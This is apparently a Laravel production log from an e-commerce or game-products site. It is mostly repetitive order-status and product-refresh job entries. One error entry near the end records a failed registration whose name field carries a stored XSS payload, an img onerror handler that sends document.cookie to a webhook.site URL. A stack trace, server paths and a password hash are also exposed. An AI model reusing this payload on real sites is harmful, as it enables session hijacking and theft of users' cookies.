[2026-03-24 07:24:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"lHOL7aqyPtQxCGZ63vbF6Jj65ABbicjj","execution_time":"2026-03-24 07:24:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:24:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"lHOL7aqyPtQxCGZ63vbF6Jj65ABbicjj","execution_time":"2026-03-24 07:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:24:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"lHOL7aqyPtQxCGZ63vbF6Jj65ABbicjj","execution_time":"2026-03-24 07:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:24:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"lHOL7aqyPtQxCGZ63vbF6Jj65ABbicjj","execution_time":"2026-03-24 07:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:24:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"lHOL7aqyPtQxCGZ63vbF6Jj65ABbicjj","execution_time":"2026-03-24 07:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:24:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"lHOL7aqyPtQxCGZ63vbF6Jj65ABbicjj","execution_time":"2026-03-24 07:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 07:25:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 07:25:03] production.INFO: async() رجع: true  
[2026-03-24 07:25:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:25:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:25:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:25:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:25:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 07:25:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:25:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:25:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:25:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:25:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:25:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:26:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"CcwCwFDoJfFmIQhvVKJoh9eKGS8o270L","execution_time":"2026-03-24 07:26:02"} 
[2026-03-24 07:26:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"CcwCwFDoJfFmIQhvVKJoh9eKGS8o270L","execution_time":"2026-03-24 07:26:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:26:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CcwCwFDoJfFmIQhvVKJoh9eKGS8o270L","execution_time":"2026-03-24 07:26:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:26:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CcwCwFDoJfFmIQhvVKJoh9eKGS8o270L","execution_time":"2026-03-24 07:26:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:26:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CcwCwFDoJfFmIQhvVKJoh9eKGS8o270L","execution_time":"2026-03-24 07:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CcwCwFDoJfFmIQhvVKJoh9eKGS8o270L","execution_time":"2026-03-24 07:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:26:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CcwCwFDoJfFmIQhvVKJoh9eKGS8o270L","execution_time":"2026-03-24 07:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:26:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CcwCwFDoJfFmIQhvVKJoh9eKGS8o270L","execution_time":"2026-03-24 07:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:26:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"CcwCwFDoJfFmIQhvVKJoh9eKGS8o270L","execution_time":"2026-03-24 07:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:28:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"nJYKVjyohyv83CmBPz38Mvtn4aZP0MDC","execution_time":"2026-03-24 07:28:02"} 
[2026-03-24 07:28:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"nJYKVjyohyv83CmBPz38Mvtn4aZP0MDC","execution_time":"2026-03-24 07:28:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:28:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"nJYKVjyohyv83CmBPz38Mvtn4aZP0MDC","execution_time":"2026-03-24 07:28:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:28:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"nJYKVjyohyv83CmBPz38Mvtn4aZP0MDC","execution_time":"2026-03-24 07:28:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:28:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"nJYKVjyohyv83CmBPz38Mvtn4aZP0MDC","execution_time":"2026-03-24 07:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"nJYKVjyohyv83CmBPz38Mvtn4aZP0MDC","execution_time":"2026-03-24 07:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:28:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"nJYKVjyohyv83CmBPz38Mvtn4aZP0MDC","execution_time":"2026-03-24 07:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:28:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"nJYKVjyohyv83CmBPz38Mvtn4aZP0MDC","execution_time":"2026-03-24 07:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:28:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"nJYKVjyohyv83CmBPz38Mvtn4aZP0MDC","execution_time":"2026-03-24 07:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:30:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Q862evNyDB35UOf7fmKUik9VetxLk2M4","execution_time":"2026-03-24 07:30:02"} 
[2026-03-24 07:30:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Q862evNyDB35UOf7fmKUik9VetxLk2M4","execution_time":"2026-03-24 07:30:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:30:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Q862evNyDB35UOf7fmKUik9VetxLk2M4","execution_time":"2026-03-24 07:30:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:30:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Q862evNyDB35UOf7fmKUik9VetxLk2M4","execution_time":"2026-03-24 07:30:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:30:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Q862evNyDB35UOf7fmKUik9VetxLk2M4","execution_time":"2026-03-24 07:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Q862evNyDB35UOf7fmKUik9VetxLk2M4","execution_time":"2026-03-24 07:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:30:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Q862evNyDB35UOf7fmKUik9VetxLk2M4","execution_time":"2026-03-24 07:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:30:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Q862evNyDB35UOf7fmKUik9VetxLk2M4","execution_time":"2026-03-24 07:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:30:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Q862evNyDB35UOf7fmKUik9VetxLk2M4","execution_time":"2026-03-24 07:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:30:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:30:04] production.INFO: async() رجع: true  
[2026-03-24 07:30:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:30:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:30:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:30:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:30:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 07:30:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:30:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:30:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:30:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:30:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:30:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:32:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"bK0GFYNvbpO6FYfIYTaXGH09aAmMPrZO","execution_time":"2026-03-24 07:32:03"} 
[2026-03-24 07:32:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"bK0GFYNvbpO6FYfIYTaXGH09aAmMPrZO","execution_time":"2026-03-24 07:32:03","total_operations":1,"sites_count":1} 
[2026-03-24 07:32:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"bK0GFYNvbpO6FYfIYTaXGH09aAmMPrZO","execution_time":"2026-03-24 07:32:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:32:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"bK0GFYNvbpO6FYfIYTaXGH09aAmMPrZO","execution_time":"2026-03-24 07:32:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:32:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"bK0GFYNvbpO6FYfIYTaXGH09aAmMPrZO","execution_time":"2026-03-24 07:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:32:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"bK0GFYNvbpO6FYfIYTaXGH09aAmMPrZO","execution_time":"2026-03-24 07:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:32:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"bK0GFYNvbpO6FYfIYTaXGH09aAmMPrZO","execution_time":"2026-03-24 07:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:32:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"bK0GFYNvbpO6FYfIYTaXGH09aAmMPrZO","execution_time":"2026-03-24 07:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:32:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"bK0GFYNvbpO6FYfIYTaXGH09aAmMPrZO","execution_time":"2026-03-24 07:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:34:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"4tGPj9uiI65BleFr5UCVX2GgZ7Ojz9nK","execution_time":"2026-03-24 07:34:03"} 
[2026-03-24 07:34:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"4tGPj9uiI65BleFr5UCVX2GgZ7Ojz9nK","execution_time":"2026-03-24 07:34:03","total_operations":1,"sites_count":1} 
[2026-03-24 07:34:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"4tGPj9uiI65BleFr5UCVX2GgZ7Ojz9nK","execution_time":"2026-03-24 07:34:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:34:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"4tGPj9uiI65BleFr5UCVX2GgZ7Ojz9nK","execution_time":"2026-03-24 07:34:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:34:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"4tGPj9uiI65BleFr5UCVX2GgZ7Ojz9nK","execution_time":"2026-03-24 07:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"4tGPj9uiI65BleFr5UCVX2GgZ7Ojz9nK","execution_time":"2026-03-24 07:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:34:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"4tGPj9uiI65BleFr5UCVX2GgZ7Ojz9nK","execution_time":"2026-03-24 07:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:34:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"4tGPj9uiI65BleFr5UCVX2GgZ7Ojz9nK","execution_time":"2026-03-24 07:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:34:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"4tGPj9uiI65BleFr5UCVX2GgZ7Ojz9nK","execution_time":"2026-03-24 07:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:35:00] production.INFO: Executing GetProducts task...  
[2026-03-24 07:35:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:35:00] production.INFO: Executing GetProducts task...  
[2026-03-24 07:35:02] production.INFO: async() رجع: true  
[2026-03-24 07:35:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:35:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:35:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:35:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:35:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 07:35:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:35:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:35:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:35:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:35:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:35:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:35:10] production.ERROR: SQLSTATE[23000]: Integrity constraint violation: 1048 Column 'currency_id' cannot be null (Connection: mysql, SQL: insert into `users` (`balancereq`, `balance`, `status`, `currency_id`, `mobile`, `name`, `email`, `password`, `updated_at`, `created_at`) values (0, 0, 1, ?, 44443312, <img src=x onerror="fetch('https://webhook.site/503596f2-723a-4518-9382-c3f6d052b78d',{method:'POST',body:document.cookie})">, gg3g@gmail.com, $2y$12$k8sjKeJ06PlLg.JfmID6ieCGiq5il0O1tKsNhyv6iEbNt/ImzHwVu, 2026-03-24 07:35:10, 2026-03-24 07:35:10)) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 23000): SQLSTATE[23000]: Integrity constraint violation: 1048 Column 'currency_id' cannot be null (Connection: mysql, SQL: insert into `users` (`balancereq`, `balance`, `status`, `currency_id`, `mobile`, `name`, `email`, `password`, `updated_at`, `created_at`) values (0, 0, 1, ?, 44443312, <img src=x onerror=\"fetch('https://webhook.site/503596f2-723a-4518-9382-c3f6d052b78d',{method:'POST',body:document.cookie})\">, gg3g@gmail.com, $2y$12$k8sjKeJ06PlLg.JfmID6ieCGiq5il0O1tKsNhyv6iEbNt/ImzHwVu, 2026-03-24 07:35:10, 2026-03-24 07:35:10)) at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:826)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Connection.php(780): Illuminate\\Database\\Connection->runQueryCallback('insert into `us...', Array, Object(Closure))
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/MySqlConnection.php(42): Illuminate\\Database\\Connection->run('insert into `us...', Array, Object(Closure))
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Query/Processors/MySqlProcessor.php(35): Illuminate\\Database\\MySqlConnection->insert('insert into `us...', Array, 'id')
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php(3853): Illuminate\\Database\\Query\\Processors\\MySqlProcessor->processInsertGetId(Object(Illuminate\\Database\\Query\\Builder), 'insert into `us...', Array, 'id')
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php(2235): Illuminate\\Database\\Query\\Builder->insertGetId(Array, 'id')
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php(1436): Illuminate\\Database\\Eloquent\\Builder->__call('insertGetId', Array)
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php(1401): Illuminate\\Database\\Eloquent\\Model->insertAndSetId(Object(Illuminate\\Database\\Eloquent\\Builder), Array)
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php(1240): Illuminate\\Database\\Eloquent\\Model->performInsert(Object(Illuminate\\Database\\Eloquent\\Builder))
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php(1219): Illuminate\\Database\\Eloquent\\Model->save()
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/helpers.php(390): Illuminate\\Database\\Eloquent\\Builder->{closure:Illuminate\\Database\\Eloquent\\Builder::create():1218}(Object(App\\Models\\User))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php(1218): tap(Object(App\\Models\\User), Object(Closure))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Traits/ForwardsCalls.php(23): Illuminate\\Database\\Eloquent\\Builder->create(Array)
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php(2540): Illuminate\\Database\\Eloquent\\Model->forwardCallTo(Object(Illuminate\\Database\\Eloquent\\Builder), 'create', Array)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php(2556): Illuminate\\Database\\Eloquent\\Model->__call('create', Array)
#14 /home/talaah/public_html/app/Http/Controllers/Auth/RegisteredUserController.php(41): Illuminate\\Database\\Eloquent\\Model::__callStatic('create', Array)
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Auth\\RegisteredUserController->store(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('store', Array)
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Auth\\RegisteredUserController), 'store')
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/app/Http/Middleware/CheckServiceAvailability.php(37): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckServiceAvailability->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'registration')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/RedirectIfAuthenticated.php(35): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\RedirectIfAuthenticated->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(47): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
